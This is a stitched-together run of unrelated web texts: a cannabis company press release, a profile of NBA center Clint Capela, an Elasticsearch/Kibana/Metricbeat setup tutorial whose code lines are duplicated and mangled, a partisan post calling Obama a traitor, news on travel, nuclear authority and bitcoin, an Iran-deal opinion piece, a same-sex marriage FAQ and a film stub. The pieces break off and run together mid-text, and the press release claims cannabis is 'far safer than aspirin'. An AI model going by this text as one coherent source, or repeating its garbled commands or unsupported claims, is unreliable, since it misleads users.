Cannabis Science, Inc. is at the forefront of pharmaceutical grade medical marijuana research and development. The second formulations will address the needs of patients choosing to use concentrated cannabis extracts to treat their ailments. Eventually, all Americans will have access to a safe and effective FDA approved medicine regardless of which state they live in. To maintain that marijuana is a dangerous, addictive drug with no medical value is scientifically absurd. Cannabis medicines, with no effective lethal dose, are far safer than aspirin, acetaminophen, and most other OTC drugs that kill thousands of Americans every year.
The Company works with world authorities on phytocannabinoid science targeting critical illnesses, and adheres to scientific methodologies to develop, produce and commercialize phytocannabinoid-based pharmaceutical products. In sum, we are dedicated to the creation of cannabis-based medicines, both with and without psychoactive properties, to treat disease and the symptoms of disease, as well as for general health maintenance.
Forward Looking Statements
This Press Release includes forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Act of 1934. A statement containing works such as "anticipate," "seek," intend," "believe," "plan," "estimate," "expect," "project," "plan," or similar phrases may be deemed "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995. Some or all of the events or results anticipated by these forward-looking statements may not occur. Factors that could cause or contribute to such differences include the future U.S. and global economies, the impact of competition, and the Company's reliance on existing regulations regarding the use and development of cannabis-based drugs. Cannabis Science, Inc. does not undertake any duty nor does it intend to update the results of these forward-looking statements.
http://www.cannabisscience.com/Clint Capela just wanted to go back.
He wanted to go back to live with his mother in the small house in what he refers to as "not the nice part" of Geneva, Switzerland. Capela, 12 years old at the time, wanted to get out of the group home where he lived with teenage boys -- many dealing with drug and anger issues -- who picked on the skinny, new kid under the watch of adults "berating us like we're dogs."
His mother, Philomene, an immigrant from Congo raising her sons by herself after her husband left the family when Capela was a baby, tearfully decided years before to send her sons to live with orphans and other underprivileged boys in the nearby group home, where they'd have more support and supervision.
Capela was 6 years old when he left with his older brother, Fabrice. He credits the educators who ran the first group home he lived in for teaching him the life skills and values that molded him into the man he is today.
There are no such recollections from the next phase of his childhood, when he moved to his second group home after graduating from elementary school.
"It was almost kind of a prison," Capela said. "Usually, when you go in that house, you're not going back home the year after. It was so important to me: Go to bed with my family, go to school like everybody. That was my dream."
Capela spent that year determined to prove he was different -- his brother had already been released from the home -- that he didn't need the structure and discipline of the group home, that he could live a normal life.
He fought when forced to by older boys but says he was otherwise as polite and well-behaved as possible. He made sure he always was on time and attentive in class, that he studied hard and turned in every assignment.
"When you say what the modern center should look like, it'll have his picture there."
Those traits are now serving Capela well in his NBA journey from unknown backup to key starter on a Rockets team built for a championship run. They're why Houston believes Capela can emerge as its third star in the final season of his rookie contract. It's a path Capela began at 12 years old, a time when his only goal was getting back to his family. And it worked.
"I was so perfect that they couldn't say anything," Capela said. "I had to be perfect to go home."
WHEN CAPELA FIRST picked up a basketball, he was a long, lanky 13-year-old soccer player who knew next to nothing about the game. After he left the group home, his brother urged Capela to join him playing basketball at a local park.
It was the spark that set Capela on a basketball fast track. By the time he was 14, Capela's size, athleticism and potential earned him a spot on the Swiss under-16 team. He had never seen a second of NBA action until his older teammates started showing him highlights and telling him about their favorite players.
Clips of a dominant big man, who fascinated them with his explosiveness, became must-see viewing.
"Who is that guy?" Capela asked.
"You should watch," Capela recalls his teammates responding. "He plays for the Orlando Magic, No. 12."
Before being drafted in the first round by Houston, Clint Capela honed his skills with French club Elan Chalon. Mariano Pozo/EB/Getty Images
Capela soon received an invitation to the training academy of the premier French club Elan Chalon, following in the footsteps of Thabo Sefolosha, the first Swiss NBA player, by moving two and a half hours from home at age 15. At 20, after graduating from the academy to play for Chalon in the French Pro A league, Capela was drafted 25th overall by the Rockets.
After spending most of his rookie season in the D-League, Capela established himself as a solid role player with the Rockets behind All-Star center Dwight Howard, the same dominant big man who once wore No. 12 for the Magic and had captivated him in those highlight clips.
Howard's relationship with the Rockets, and James Harden in particular, was rocky by the time Capela arrived in Houston. Howard's reluctance to accept his role and desire for post touches disrupted the flow of the offense and ultimately led to a divorce after three years.
Capela is sort of the anti-Dwight. He has no problem with an offensive role that consists primarily of running the floor, setting screens, rolling hard to the rim and rebounding. He understands the value of the vertical spacing he provides.
And you'll certainly never hear Capela complain about a lack of post touches.
"Nah, that's not his personality," says Rockets assistant coach Roy Rogers, who works with Houston's big men. "Clint's a team-first guy. He understands his role on the team, and he accepts his role. He's excited about his role."
Part of the behind-the-scenes drama that season was the front office pushing then-interim coach J.B. Bickerstaff -- Kevin McHale was fired 11 games into a disastrous 2015-16 season -- to give Capela, then a raw 21-year-old, more minutes at the expense of Howard, an eight-time All-Star on a maximum deal.
The data backed up the move: The Rockets had a net rating of plus-3.1 points per 100 possessions when Capela played, compared to plus-0.2 with Howard.
"The reality was we were beating teams much easier when Clint was out there," Rockets GM Daryl Morey said. "We were really, really good when Clint was playing."
Since joining the Rockets in 2014-15, Clint Capela's free throw shooting has improved by at least 15 percentage points each season. Troy Taormina-USA TODAY Sports
JOHN LUCAS HAD concerns about Capela upon being hired as the Rockets' head of player development in the summer of 2015. The franchise was counting on the raw big man to play a much more significant role, but he was standing in his own way.
Capela feared the free throw line.
"A lost young man. Lost," Lucas, the No. 1 overall pick by the Rockets in 1976, said in his raspy voice.
Capela had missed the first 15 free throws of his NBA career (as well as his first 11 field goal attempts) and finished his rookie year 4-of-23 from the stripe, though he did go 15-of-29 during the Rockets' run to the 2015 Western Conference finals.
Capela shot 37.9 percent on free throws in his second season, worse than all but four players in NBA history with at least 150 attempts in a season. Capela says he played hesitantly because he didn't want to be fouled, hating the isolation and humiliation that came after.
Lucas made Capela his project. Beginning with 6 a.m. workouts in Las Vegas in early July, Capela took thousands of free throws under Lucas' supervision. They honed Capela's technique via repetitions and video study.
But Lucas focused most on Capela's confidence and mental approach. To push Capela to achieve his potential, Lucas needed to get to the root of his problems.
"Basketball isn't a skill thing. It's a confidence thing," said Lucas, adding that he knows Capela is pressing when he sees the center biting his lip. Capela said it's a habit he's unaware of.
What had worked for Capela as a young boy was holding him back on the basketball court.
"If you believe that you can get it done, then your mind will take you," Lucas says. "He was trying to be perfect."
WHEN CHRIS PAUL arrived in Houston in a summer blockbuster with the LA Clippers, Capela knew what to expect:
Sure, the spotlight in Houston shines on the pairing of perennial All-Star facilitators in the backcourt. However, for the Rockets to have any real hope of dethroning the defending champion Golden State Warriors, they'll need Capela to be their poor man's Wilt Chamberlain.
"The only way [to overcome the Warriors] is to develop near-elite two-way players," Morey said. "I think Clint has that potential. He's on the way. He took a big step forward last year. It's a lot to put on one guy, but we need one more step, at least."
Despite splashy moves like the trade for Paul, Capela remains the Rockets' X factor: the one young player on Houston's veteran-heavy roster with the hope for dramatic growth.
Capela's scoring and rebounding averages increased significantly in his first season as a full-time starter, comparing favorably to the age-22 seasons of Rudy Gobert and DeAndre Jordan, the league's premier centers in the rim runner/rebounder/rim protector mold.
This season, Capela is off to a hot start as an analytics All-Star, ranking fifth in the league with a 28.6 player efficiency rating, higher than Harden's and those of defending champions Stephen Curry and Kevin Durant.
The rapid rise of Clint Capela Through 11 games this season, Clint Capela is averaging career highs across the board with a free throw percentage more than double his ugly 2015-16 clip, and ranking fifth in the league in player efficiency rating (28.6), tied for 11th in estimated wins added (2.4) and 13th in value added (71.5). SEASON MIN FG% FT% PPG RPG BLKPG PER 2014-15 7.5 48.3 17.9 2.7 3.0 0.8 12.1 2015-16 19.1 58.2 37.9 7.0 6.4 1.2 18.30 2016-17 23.9 64.3 53.1 12.6 8.1 1.2 21.48 2017-18 24.2 68.5* 78.3 12.7 10.6 1.6 28.61 * Leads NBA
"To me, it's just a matter of time," Houston coach Mike D'Antoni said. "I'll be very surprised if he doesn't become, if not the best center in the league, one of the best. I'll be shocked."
The hiring of D'Antoni, signings of shooters Ryan Anderson and Eric Gordon and shift of Harden to point guard were all factor's in Houston's 55-win 2016-17 season. But D'Antoni said Capela proving himself as a quality starting center (and passable free throw shooter) was "probably the No. 1" reason for the Rockets' rebound season.
"He was just kind of thrown into the fire once Dwight left, but he took it and he ran with it," Harden said. "He's listened, he's worked hard every single day in the weight room, and he just got better. Defensively, he got better. Offensively, he's so mobile and skilled. His touch around the rim has got better. He continues to work.
"He's over there working on his free throws as we speak. He won't stop."
Dwight Howard's exit after a disastrous 2015-16 season pushed Clint Capela into a key role. Bill Baptist/NBAE via Getty Images
IF THE ROCKETS plan to keep Capela -- he's expected to get a massive raise from the $2.3 million he's making this season when he hits restricted free agency this summer -- it would push the Rockets into the luxury tax, which new owner Tilman Fertitta is on record as willing to pay for a title contender. Without hesitation, Morey said he considers re-signing Capela worth the cost.
"We'll have him here as long as he'll have us," Morey said. "He couldn't price himself out."
But Morey wants more from Capela. Asked in the preseason how he hopes Capela will improve, Morey takes a few minutes to answer, basically touching on every aspect of the big man's game.
"I mean, if you're going to be an elite player, it's a long list of stuff you've got to do," Morey said.
D'Antoni just wants to play Capela more. Capela, who at times showed signs of fatigue, averaged 23.9 minutes per game last season, but D'Antoni said he expects Capela's endurance will improve as a result of his offseason strength and conditioning work and natural physical maturation.
"He can get a little bit better at the foul line, and he can get better with his endurance," D'Antoni said, and Capela's free throw percentage has soared to.783 this season. "When he does that, when you say what the modern center should look like, it'll have his picture there."
The Rockets love Capela's kind, gentle soul off the court. He's a bubbly personality whose goofy, off-tune "Acapella with Capela" videos are a hit during timeouts at the Toyota Center. He truly cares about the community, as shown when he used his Twitter account to help coordinate Hurricane Harvey rescue efforts.
"A fine young man," Lucas said, "the kind of guy you would leave your house to and not worry that there's going to be a whole bunch of parties."
But Lucas, who helped guide a young DeAndre Jordan through a similar evolution, is pushing Capela to develop an edge and a nasty streak, the next step in the building of the big man's confidence.
"I don't know any superstars that aren't kind of a jerk," Lucas said. "He is a poodle becoming a pit bull right in front of your eyes."Share
When you’re in the business of fighting major corporations, it’s important to not help their bottom line in the process. Unfortunately for |
Environment ( build 1.8.0_111 - b14 ) Java HotSpot ( TM ) 64 - Bit Server VM ( build 25.111 - b14, mixed mode )
Installing Elasticsearch and Kibana
Next up, we’re going to download and install the public signing key for Elasticsearch:
$ wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - 1 $ wget - qO - https : //artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
Save the repository definition to ‘/etc/apt/sources.list.d/elastic-5.x.list’:
$ echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-5.x.list 1 $ echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee - a / etc / apt / sources. list. d / elastic - 5.x.list
Update the system, and install Elasticsearch:
$ sudo apt-get update && sudo apt-get install elasticsearch 1 $ sudo apt - get update && sudo apt - get install elasticsearch
Run Elasticsearch using:
$ sudo service elasticsearch start 1 $ sudo service elasticsearch start
You can make sure Elasticsearch is running using the following cURL:
$ curl “http://localhost:9200” 1 $ curl “ http : //localhost:9200”
You should be seeing an output similar to this:
{ "name" : "GLOA3NX", "cluster_name" : "elasticsearch", "cluster_uuid" : "C4gM3wLFR9e4br_NQ0ksKQ", "version" : { "number" : "5.0.0", "build_hash" : "253032b", "build_date" : "2016-10-26T05:11:34.737Z", "build_snapshot" : false, "lucene_version" : "6.2.0" }, "tagline" : "You Know, for Search" } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "name" : "GLOA3NX", "cluster_name" : "elasticsearch", "cluster_uuid" : "C4gM3wLFR9e4br_NQ0ksKQ", "version" : { "number" : "5.0.0", "build_hash" : "253032b", "build_date" : "2016-10-26T05:11:34.737Z", "build_snapshot" : false, "lucene_version" : "6.2.0" }, "tagline" : "You Know, for Search" }
Next up, we’re going to install Kibana with:
$ sudo apt-get install kibana 1 $ sudo apt - get install kibana
To verify Kibana is connected properly to Elasticsearch, open up the Kibana configuration file at: /etc/kibana/kibana.yml, and make sure you have the following configuration defined:
server.port: 5601 elasticsearch.url: "http://localhost:9200" 1 2 3 server. port : 5601 elasticsearch. url : "http://localhost:9200"
And, start Kibana with:
$ sudo service kibana start 1 $ sudo service kibana start
Installing Metricbeat
Our final installation step is installing Metricbeat. To do this, you will first need to download and install the Elasticsearch public signing key.
$ wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - 1 $ wget - qO - https : //artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
Next, save the repository definition to /etc/apt/sources.list.d/elastic-5.x.list:
$ echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-5.x.list 1 $ echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee - a / etc / apt / sources. list. d / elastic - 5.x.list
Then, update your system and install Metricbeat:
$ sudo apt-get update && sudo apt-get install metricbeat 1 $ sudo apt - get update && sudo apt - get install metricbeat
Configuring the pipeline
Now that we’ve got all the components in place, it’s time to build the pipeline. So our next step involves configuring Metricbeat — defining what data to collect and where to ship it to.
Open the configuration file at /etc/metricbeat/metricbeat.yml.
In the Modules configuration section, you define which system metrics and which service you want to track. Each module collects various metricsets from different services (e.g. Apache, MySQL). These modules and their corresponding metricsets need to be defined separately. Take a look at the supported modules here.
By default, Metricbeat is configured to use the system module which collects server metrics, such as CPU and memory usage, network IO stats, and so on.
In my case, I’m going to uncomment some of the metrics commented out in the system module, and add the apache module for tracking my web server.
In the end, the configuration of this section looks as follows:
- module: system metricsets: - cpu - load - core - diskio - filesystem - fsstat - memory - network - process enabled: true period: 10s processes: ['.*'] - module: apache metricsets: ["status"] enabled: true period: 1s hosts: ["http://127.0.0.1"] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 - module : system metricsets : - cpu - load - core - diskio - filesystem - fsstat - memory - network - process enabled : true period : 10s processes : [ '.*' ] - module : apache metricsets : [ "status" ] enabled : true period : 1s hosts : [ "http://127.0.0.1" ]
Next, you’ll need to configure the output, or in other words where you’d like to send all the data.
Since I’m using a locally installed Elasticsearch, the default configurations will do me just fine. If you’re using a remotely installed Elasticsearch, make sure you update the IP address and port.
output.elasticsearch: hosts: ["localhost:9200"] 1 2 output. elasticsearch : hosts : [ "localhost:9200" ]
If you’d like to output to another destination, that’s fine. You can ship to multiple destinations or comment out the Elasticsearch output configuration to add an alternative output. One such option is Logstash, which can be used to execute additional manipulations on the data and as a buffering layer in front of Elasticsearch.
Once done, start Metricbeat with:
$ sudo service metricbeat start 1 $ sudo service metricbeat start
You should get the following output:
016/11/02 11:38:35.026027 beat.go:264: INFO Home path: [/usr/share/metricbeat] Config path: [/etc/metricbeat] Data path: [/var/lib/metricbeat] Logs path: [/var/log/metricbeat] 2016/11/02 11:38:35.026072 beat.go:174: INFO Setup Beat: metricbeat; Version: 5.0.0 2016/11/02 11:38:35.026192 output.go:167: INFO Loading template enabled. Reading template file: /etc/metricbeat/metricbeat.template.json 2016/11/02 11:38:35.026292 logp.go:219: INFO Metrics logging every 30s 2016/11/02 11:38:35.028538 output.go:178: INFO Loading template enabled for Elasticsearch 2.x. Reading template file: /etc/metricbeat/metricbeat.template-es2x.json 2016/11/02 11:38:35.030666 client.go:107: INFO Elasticsearch url: http://localhost:9200 2016/11/02 11:38:35.030741 outputs.go:106: INFO Activated elasticsearch as output plugin. 2016/11/02 11:38:35.030840 publish.go:291: INFO Publisher name: ip-172-31-25-148 2016/11/02 11:38:35.030948 async.go:63: INFO Flush Interval set to: 1s 2016/11/02 11:38:35.030968 async.go:64: INFO Max Bulk Size set to: 50 2016/11/02 11:38:35.031054 metricbeat.go:25: INFO Register [ModuleFactory:[system], MetricSetFactory:[apache/status, haproxy/info, haproxy/stat, mongodb/status, mysql/status, nginx/stubstatus, postgresql/activity, postgresql/bgwriter, postgresql/database, redis/info, redis/keyspace, system/core, system/cpu, system/diskio, system/filesystem, system/fsstat, system/load, system/memory, system/network, system/process, zookeeper/mntr]] Config OK 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 016 / 11 / 02 11 : 38 : 35.026027 beat. go : 264 : INFO Home path : [ / usr / share / metricbeat ] Config path : [ / etc / metricbeat ] Data path : [ / var / lib / metricbeat ] Logs path : [ / var / log / metricbeat ] 2016 / 11 / 02 11 : 38 : 35.026072 beat. go : 174 : INFO Setup Beat : metricbeat ; Version : 5.0.0 2016 / 11 / 02 11 : 38 : 35.026192 output. go : 167 : INFO Loading template enabled. Reading template file : / etc / metricbeat / metricbeat. template. json 2016 / 11 / 02 11 : 38 : 35.026292 logp. go : 219 : INFO Metrics logging every 30s 2016 / 11 / 02 11 : 38 : 35.028538 output. go : 178 : INFO Loading template enabled for Elasticsearch 2.x. Reading template file : / etc / metricbeat / metricbeat. template - es2x. json 2016 / 11 / 02 11 : 38 : 35.030666 client. go : 107 : INFO Elasticsearch url : http : //localhost:9200 2016 / 11 / 02 11 : 38 : 35.030741 outputs. go : 106 : INFO Activated elasticsearch as output plugin. 2016 / 11 / 02 11 : 38 : 35.030840 publish. go : 291 : INFO Publisher name : ip - 172 - 31 - 25 - 148 2016 / 11 / 02 11 : 38 : 35.030948 async. go : 63 : INFO Flush Interval set to : 1s 2016 / 11 / 02 11 : 38 : 35.030968 async. go : 64 : INFO Max Bulk Size set to : 50 2016 / 11 / 02 11 : 38 : 35.031054 metricbeat. go : 25 : INFO Register [ ModuleFactory : [ system ], MetricSetFactory : [ apache / status, haproxy / info, haproxy / stat, mongodb / status, mysql / status, nginx / stubstatus, postgresql / activity, postgresql / bgwriter, postgresql / database, redis / info, redis / keyspace, system / core, system / cpu, system / diskio, system / filesystem, system / fsstat, system / load, system / memory, system / network, system / process, zookeeper / mntr ] ] Config OK
Not getting any errors is great, and another way to verify all is running as expected is to query Elasticsearch for created indices:
$ curl http://localhost:9200/_cat/indices?v health status index uuid pri rep docs.count docs.deleted store.size pri.store.size yellow open metricbeat-2016.11.02 gdQIYsr9QRaAw3oJQGgVTA 5 1 924 0 843.7kb 843.7kb 1 2 3 4 $ curl http : //localhost:9200/_cat/indices?v health status index uuid pri rep docs. count docs. deleted store. size pri. store. size yellow open metricbeat - 2016.11.02 gdQIYsr9QRaAw3oJQGgVTA 5 1 924 0 843.7kb 843.7kb
Analyzing the data in Kibana
Our last and final step is to understand how to analyze and visualize the data to be able to extract some insight from the logged metrics.
To do this, we first need to define a new index pattern for the Metricbeat data.
In Kibana (http://localhost:5601), open the Management page and define the Metricbeat index in the Index Patterns tab (if this is the first time you’re analyzing data to Kibana, this page will be displayed by default):
Select @timestamp as the time-field name and create the new index pattern.
Opening the Discover page, you should see all the Metricbeat data being collected and indexed.
If you recall, we are monitoring two types of metrics: system metrics and Apache metrics. To be able to differentiate between the two streams of data, a good place to start is by adding some fields to the logging display area.
Start by adding the “metricset.module” and “metricset.name” fields.
Visualizing the data
Kibana is notorious for its visualization capabilities. As an example, let’s create a simple visualization that displays CPU usage over time.
To do this, open the Visualize page and select the Line Chart visualization type.
We’re going to compare, over time, the user and kernel space. Here is the configuration and the end-result:
Now, luckily for us Elastic created an easy way to get started with building visualizations of the data by providing us with a way to download a Metricbeat dashboard. This will save us the time of figuring out how to build visualizations, a task that can be fun but can also consume quite a lot of time if you’re new to Kibana.
Note: If you’re using Logz.io, you’ll find a pre-made Metricbeat dashboard in ELK Apps — our library of pre-made visualizations, dashboards, alerts and searches for various data types.
To use the dashboard, cd into the Metricbeat installation folder and execute the installation script:
$ cd /usr/share/metricbeat/ $./scripts/import_dashboards 1 2 3 $ cd / usr / share / metricbeat / $. / scripts / import_dashboards
After the script downloads all the dashboards, all you have to do is open up the Dashboard page, select Open, and select which dashboard you’d like to use.
In Summary
Playing around with new technology in a sandbox environment is always fun and worry-free. Deploying in production is an entirely different ball game, and it’s no wonder we meet ELK users still using Elasticsearch 1.x.
Still, Elastic Stack 5.0 is a major improvement from the previous version, both from a user experience perspective and a performance/stability perspective.This video is published on Why Tuesday? as well as OffTheBus.
WASHINGTON, D.C. - To help launch the Huffington Post and OffTheBus' Superdelegate Investigation Project we headed here to talk with the man who had a hand in creating the system, political consultant Tad Devine... and even he thinks now is the time to "take a step back and take another hard look at our nominating process."
Got 10 minutes? Here"s the raw footage of our wide-ranging Democratic superdelegate conversation with Devine. A highlight: when I asked Devine if the system is undemocratic. Watch the video for his answer.
Why Tuesday? is an effort to make America's democracy stronger through increased voter participation; we work to make election reform an issue that our politicians cannot afford to avoid. Help investigate superdelegates, keep up on campaign news, and more at OffTheBus by clicking here.Sessions ends Obama era blackmail policy that forced U.S. corporations to financially fuel Liberal hate groups
Whether Obama was a traitor or not, he sure acted like one. This policy the DOJ was using to financially fuel groups that agreed with him and his idealogy, was blatantly unconstitutional. If Trump was annoyed with Sessions, it was probably because it took so long to get this policy officially ended. Look out Democrats, some of these stupid, illegal programs Obama did will just get wiped away like this one was today, and some of them will get people put in jail.
From Fox News — In a memo sent to 94 U.S. attorneys’ offices early Wednesday, Attorney General Jeff Sessions said he would end the practice that allowed companies to meet settlement burdens by giving money to groups that were neither victims nor parties to the case.
Sessions said the money should, instead, go to the Treasury Department or victims.
“When the federal government settles a case against a corporate wrongdoer, any settlement funds should go first to the victims and then to the American people—not to bankroll third-party special interest groups or the political friends of whoever is in power,” Sessions said in a statement.
Conservatives have long fought the policy introduced under the Obama administration. Earlier this year, Republican lawmakers introduced legislation that would prohibit the Department of Justice from requiring defendants to donate money to outside groups, after concerns that the settlements bypass congressional appropriations processes.
“This bill is oversight and action. Congress must not tolerate Justice Department political appointees using settlements to funnel money to their liberal friends,” Chairman of the House Judiciary Committee Bob Goodlatte, R-Va., who introduced the bill, said in a statement. “This is also an institutional issue. Once direct victims have been compensated, deciding what to do with additional funds recovered from defendants becomes a policy question properly decided by elected representatives in Congress, not agency bureaucrats or prosecutors.”
Paul Larkin, a senior legal research fellow at The Federalist Society, described the practice as “improper and unlawful.” He also said the practices were barred by the Appropriations Clause, Antideficiency Act, and the Miscellaneous Receipts Act.
“No private lawyer could give away a client’s settlement money, and no government lawyer may do so either. It is time for this unlawful practice to end,” Larkin wrote in 2016.NEW YORK (Reuters) - International travel to the United States in the month of April rose four percent year over year, an industry group reported on Tuesday, however the group cautioned that a strong dollar and uncertainty about the Trump Administration’s policies could discourage foreign visitors in the months ahead.
Data released on Tuesday by the U.S. Travel Association (USTA), in partnership with Oxford Economics, showed stronger-than-expected April demand despite the initial messy rollout of President Donald Trump’s order in January barring travel to the United States from several Muslim majority countries. That order has been stayed by a number of federal courts, and is now awaiting a review by the U.S. Supreme Court.
April is the first month when data on international travel would reliably reflect the impact of the controversy over Trump’s order, the U.S. Travel Association said.
“There have been many claims that the administration’s actions on travel have tarnished America’s brand abroad, but we’re seeing hard economic evidence of the U.S. travel sector’s remarkable resilience,” USTA Chief Executive Officer Roger Dow said in a statement.
However, the full report cautioned that international travel to the United States in April grew at “a slower pace than the six-month moving average” and may have been helped by holiday travel. “Looking ahead, a variety of factors, including the strength of the U.S. dollar, a fragile global economy and a turbulent political environment are expected to negatively impact international inbound travel.”
The group projected total U.S. travel volume is expected to grow by an average of 1.8 percent year-over-year through October of 2017, despite a forecast decline in international travel.
A plane passes the air traffic control tower at Ronald Reagan Washington National Airport in Arlington, Virginia, U.S., June 5, 2017. REUTERS/Kevin Lamarque
TRAVEL WORRIES
While the airline industry is on track for an eighth successive year of profitability, travel industry executives gathered for a conference in Cancun, Mexico this week expressed concern that potential U.S. restrictions on travel would undercut their business.
“Any barrier to borders, we consider as a threat,” International Air Transport Association director general Alexandre de Juniac told reporters ahead of the meeting. IATA represents some 275 airlines from across the globe.
De Juniac has also expressed concern about a Trump administration order barring large electronic devices, including laptop computers, from the passenger cabins of planes headed to the United States from certain Middle Eastern countries.For the first time in decades, U.S. lawmakers on Tuesday examined the nuclear authority wielded by American presidents and, in particular, whether President Donald Trump could order a pre-emptive nuclear strike on North Korea.
"The system as it is set up today provides the president with the sole and ultimate authority to use nuclear weapons," said Senator Ben Cardin of Maryland, ranking Democrat on the Senate Foreign Relations Committee.
"We are concerned that the president of the United States is so unstable, is so volatile... that he might order a nuclear weapons strike [against North Korea]," said Democratic Senator Chris Murphy of Connecticut.
Trump repeatedly has belittled North Korea's leader and issued blunt warnings about "fire and fury" to Pyongyang.
While not defending the president's rhetoric, one Republican noted that elections have consequences.
"One of the things that voters think about when they elect someone to the office of president of the United States is whether or not they want to entrust them with this [nuclear] capability," said Senator Marco Rubio of Florida.
Testifying before the committee were former high-ranking Pentagon officials, who said that Trump, like presidents before him, has absolute, unilateral authority to order a retaliatory nuclear strike, but not a pre-emptive nuclear attack.
"This is a system controlled by human beings. Nothing happens automatically," said retired Air Force General C. Robert Kehler, who oversaw America's nuclear arsenal as commander of U.S. Strategic Command during the Obama administration.
Kehler and others testified that nuclear protocols ensure swift execution of a president's nuclear launch order in the event of a nuclear attack on America — not a pre-emptive strike against North Korea or any other adversary.
"That's war in the constitutional sense that Congress should authorize," said former U.S. Defense Department Undersecretary Brian McKeon.
WATCH: Senate reviews nuclear authority
Despite such assurances, Democrats have drafted a bill stipulating the president must obtain a declaration of war from Congress before ordering a nuclear first strike. Republicans cautioned against creating any doubts on the world stage about America's nuclear deterrent and its determination to respond to threats.
"Every single word that's been uttered here this morning in this hearing is going to be analyzed in Pyongyang, and they are going to look very carefully at how we, the American people, view this," said Senator James Risch of Idaho.
Democrats insisted a more pressing danger exists.
"Many Americans share my fear that the president's bombastic words could turn into nuclear reality," said Senator Ed Markey of Massachusetts.
The last congressional examination of presidential nuclear authority occurred more than 40 years ago during the Cold War with the former Soviet Union.Bitcoin drops almost $1,000 in less than 24 hours, while its offshoot bitcoin cash also loses half its value after soaring to a record high.
This meant that Bitcoin dropped in price to 29 percent from a record high, on speculation some traders were buying its offshoot amid a struggle over the digital currency’s future.
Bitcoin also dropped to as low as $5,605 on Monday, from a record high $7,882 reached on Wednesday.
Bitcoin cash in its own case rose to $2,426 on Sunday, before plunging to $1,379 as of 9:32 a.m. in Hong Kong, according to Coinmarketcap.com.
“It’s the bitcoin cash pump,” said Arthur Hayes, chief executive officer of BitMEX, a cryptocurrency exchange based in Hong Kong. “It’s obviously a coordinated action of certain individuals who have a vested interest in bitcoin cash.”
At the time of publication, price recovery is already seen as bitcoin is presently above $6,000.
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Like this: Like Loading...When politicians speak nonsense, it is a good bet that there is something else going on behind the scenes that cannot be said directly.
Prime Minister Benjamin Netanyahu’s statements about the Iranian nuclear accord are nonsense. So what is really going on? One cannot know for sure, but things become a good deal clearer when we begin with a startling idea: Netanyahu does not care whether Iran has the bomb.
First, the nonsense. Netanyahu argues that the proposed deal will lead to a nuclear-armed Iran, which would threaten the very existence of Israel. He objects that Iran will be able to develop its centrifuge technology such that in 15 years, when the limits on nuclear production end, Iran will be in a position to quickly develop a bomb. He argues that the possibility of a 24-day procedural delay before inspectors can arrive to check out any alleged violation would allow Iran to cover up its illicit activities.
But the absurdities become apparent when you consider the alternative, Iran without an agreement. Suppose he is right that Iran can comply while still developing its nuclear knowhow, which would allow it to develop a bomb quickly at the end of the agreement. Yet without an agreement, Iran may be only months away from the construction of a bomb should it choose to go that route. How is 15 years not better than 15 months?
Similarly how is it not better to have a right to inspect — even after 24 days — than no right to inspect at all? Suppose Iran did use the delay to eliminate evidence of a violation. If there is good evidence — including intelligence — that that is what has happened, why would the United States not respond? How is it in a different position than it is now with respect to a new Iranian threat?
Then, there is the rest of the world, including the other nations involved in negotiating this agreement. Even if Netanyahu were to succeed in convincing Congress to reject the agreement, Europe and Russia are surely going to go ahead and lift their sanctions. They are not going to follow a U.S. decision that will have every appearance of having been deeply influenced by Israel. Netanyahu says “negotiate a better deal,” but our negotiating partners are done negotiating. There is no way forward to a “better deal,” which is precisely why the president explicitly says that the alternative is “some sort of war.” Surely, Netanyahu knows that the United States is very unlikely to go to war for the sake of Israel, if this deal is defeated in part because of Netanyahu’s intervention in our politics.Yes. As of July 2013, same-sex marriage is legal in 13 states and the District of Columbia. Same-sex couples can now marry in California, Connecticut, Delaware, D.C., Iowa, Maine, Maryland, Massachusetts, Minnesota, New Hampshire, New York, Rhode Island, Vermont and Washington.
Many other states have passed laws specifically barring same-sex marriages. However, there are states that allow same-sex unions called "civil unions" or "domestic partnerships" that are similar to marriage and offer all or most of the benefits married couples receive.
Civil Unions
Colorado, Hawaii, Illinois and New Jersey offer civil unions. Delaware, Rhode Island, Vermont, New Hampshire and Connecticut had civil unions, but with the legalization of same-sex marriage in each of these states, valid civil unions have been (or will be) merged or converted into marriages.
Domestic Partnerships
California, Oregon, Washington, Maine, Hawaii, D.C., and Nevada offer domestic partnerships. Rights and benefits for couples in domestic partnerships vary from state to state. Wisconsin offers a type of domestic partnership, but it's more akin to a registration for same-sex couples, which confers limited spousal rights.
If you are in a registered domestic partnership in California, the recent ruling legalizing same-sex marraige has no effect on your relationship status. Domestic partnership registrations are different from marriage licenses. The California Secretary of State’s Office will continue to process domestic partnership registrations and notices of termination of domestic partnerships.
In Washington state, any state registered same-sex domestic partnership, where neither party is sixty-two years of age or older, will be automatically converted into a marriage as of June 30, 2014.
For more information, see Nolo's article Same-Sex Marriage: Developments in the Law. For guidance on whether to enter into a marriage or other legal relationship with your same-sex partner, see Making It Legal: A Guide to Same-Sex Marriage, Domestic Partnerships & Civil Unions, by Frederick Hertz with Emily Doskow (Nolo).Scooby-Doo! and WWE: Curse of the Speed Demon (also known as Scooby-Doo! WrestleMania Mystery 2) is a 2016 direct-to-DVD animated comedy mystery racing film, and the twenty-seventh entry in the direct-to-video series of Scooby-Doo films. It is a co-production between Warner Bros. Animation and WWE Studios. The film is a direct sequel to Scooby-Doo! WrestleMania Mystery. It premiered at the San Diego Comic-Con International on July 23, 2016,[2] followed by a digital release on July 26, 2016.[3] It was released on DVD on August 8, 2016 in the United Kingdom. The film was also released on both DVD and Blu-Ray on August 9, 2016 in the United States by Warner Home Video.[4]
